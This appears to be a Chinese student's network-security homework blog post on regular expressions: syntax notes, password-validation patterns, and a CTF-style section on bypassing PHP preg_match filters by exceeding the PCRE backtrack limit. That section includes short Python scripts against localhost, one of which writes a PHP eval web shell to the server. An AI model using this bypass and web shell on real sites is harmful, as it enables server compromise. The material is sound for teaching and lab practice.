当前位置:网站首页>网络安全第四次作业
网络安全第四次作业
2022-08-02 13:48:00 【戊戌怀夏】
一、正则表达式限制案例
创建用户名(包括数字、大写字母、小写字母、特殊符号,长度在8-16位)
成功
长度超过16位
长度小于8位
二、正则表达式知识点
1.字符类
. 匹配除了换行符(\n)以外的任意一个字符
\w 任意一个字母或数字或下划线,也就是 A~Z,a~z,0~9,_ 中任意一个
\d 任意一个数字,0~9 中的任意一个
\s 包括空格、制表符、换页符等空白字符的其中任意一个
\W\D\S 非字母, 数字, 空白字符
[abc] 匹配a、 b、或c中的任何一个
[^abc] 匹配 a、b和c之外的任何一个
[a-g] a-g间的任意一个字符
2.锚
^abc$ 字符串的开头/结尾
\b \B 单词边界、非单词的边界
转义字符
\. \* \\ 转义特殊字符
\t\n\r 制表符, LF换行符, CR换行符
3. 分组 & 前瞻后顾
(abc) 捕获分组
\1 反向引用#1
(?:abc) 不捕获分组
(?=abc) 正向前瞻
(?!abc) 负向前瞻
4.量词 & 分支
a* a+ a? 0个或更多,1个或更多,0个或1个
a{
5} a{
2,} 刚好5个,2个或以上
a{
1,3} 1~3个
a+? a{
2,}? 贪婪匹配(仅可能少匹配)
ab|cd 配 ab 或 cd
\b 匹配单词边界
(?=abc)正向先行断言,表示主表达式后面必须包含abc,且该组不会出现在结果中,如果一个正则中包含多个断言,则没有先后顺序
如:提取包含至少一个大小写字母的字符串:
正则表达式:/(?=.*?[A-Z])(?=.*?[a-z]).+/g和正则表达式/(?=.*?[a-z])(?=.*?[A-Z]).+/g都可以
注意:零宽断言只匹配位置,没有改变位置。
如:密码强度验证:
至少一个大写字母
至少一个小写字母
至少一个数字
至少8个字符
正则表达式为:/(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{
8,}/ 中间的.*不可少,如果改为/(?=\d)(?=[a-z])(?=[A-Z]).{
8,}/则不正确,因为无法找到一个位置同时满足三个断言,前一个断言,匹配到的位置为0
(?<=abc)正向后行断言
先行断言和后行断言只有一个区别,即先行断言从左往右看,后行断言从右往左看。即一个先行断言是后面有什么,后行断言就是前面有什么。
匹配名字中含王,但不在最后一个字同学的名字 /(?<=王).+?/
(?!abc) 反向先行断言
正则表达式匹配不是qq邮箱的数据 /@(?!qq)/
编写正则表达式匹配除<p>或</p>之外的所有标签。 正则表达式应该是/<(?!p|\/p).*>/不能是/(?!<p>|<\/p>)/如果这么写
<p></p>或<p>code</p>都能匹配上,匹配的位置是1,及<这个字符
(?<!abc)正反向后行断言
三、正则表达式的绕过案例
回溯1
<?php
$input = $_POST['file'];
// var_dump(ini_get('pcre.backtrack_limit'));
if(!is_php($input)) {
$file = fopen("test.php","w");
fwrite($file, $input);
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
使用python写脚本,利用正则表达式的回溯具有1000000次的限制
import requests
files = {
'file': 'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
}
res = requests.post('http://127.0.0.1/index.php', data=files)
即可绕过
回溯2
如果代码里对于greeting没有数组的判断,可利用strpos对于数组的判断漏洞直接取得flag
但是加了数组之后,就只能利用回溯进行绕过
import requests
datas = {
‘greeting’: 'Merry Christams' + 'a' *1000000
}
res = requests.post ('http://127.0.0.1/demo4.php', data=datas)
边栏推荐
猜你喜欢
Awesome!Alibaba interview reference guide (Songshan version) open source sharing, programmer interview must brush
[C language] Analysis of function recursion (2)
苏州大学:从 PostgreSQL 到 TDengine
微信小程序getPhoneNumber接口code=40013
Get out of the machine learning world forever!
鲁大师7月新机性能/流畅榜:骁龙8+正面对决天玑9000+,性能跑分突破123万!
【C语言】手撕循环结构 —— while语句
WeChat applet getPhoneNumber interface code=40013
tinymce 如何实现动态国际化
86.(cesium之家)cesium叠加面接收阴影效果(gltf模型)
随机推荐
A number of embassies and consulates abroad have issued reminders about travel to China, personal and property safety
Embedded system driver primary [2] - based on character device driver _ basic framework
科研试剂DSPE-PEG-VIP,二硬脂酰基磷脂酰乙醇胺-聚乙二醇-血管活性肠肽VIP
[C language] Explicit array solution (1)
tinymce 如何实现动态国际化
【ONE·Data || 排序入门】
图文短视频自媒体怎么创作?如何让点击量达到10W?
Mysql视图
攻防世界----unfinish
Introduction to Scala Basic Syntax (3) Various Operators in Scala
【C语言】夏日一题 —— 求最大公约数和最小公倍数
static修饰的函数有什么特点(static可以修饰所有的变量吗)
Mysql index details (with pictures and texts)
【C语言】剖析函数递归(1)
删除链表的节点
Redis all
自媒体创作怎样提高原创度,打造爆款作品?
els 长条方块变形条件、边界碰撞判定
打破文件锁限制,以存储力量助力企业增长新动力
SQL函数 UPPER